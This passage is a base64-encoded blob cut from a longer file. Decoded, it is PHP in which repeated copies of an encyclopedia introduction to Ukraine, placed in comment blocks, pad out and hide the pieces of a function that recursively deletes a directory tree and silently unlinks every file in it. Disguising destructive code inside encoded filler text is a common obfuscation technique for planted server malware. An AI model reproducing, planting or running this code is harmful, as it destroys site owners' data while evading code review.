ybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7CgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkaXRlbSk7CgkJCQkJfQoJCQkJCWNsb3NlZGlyKCRkaCk7CgkJCQkJcm1kaXIoJHBhdGgpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbi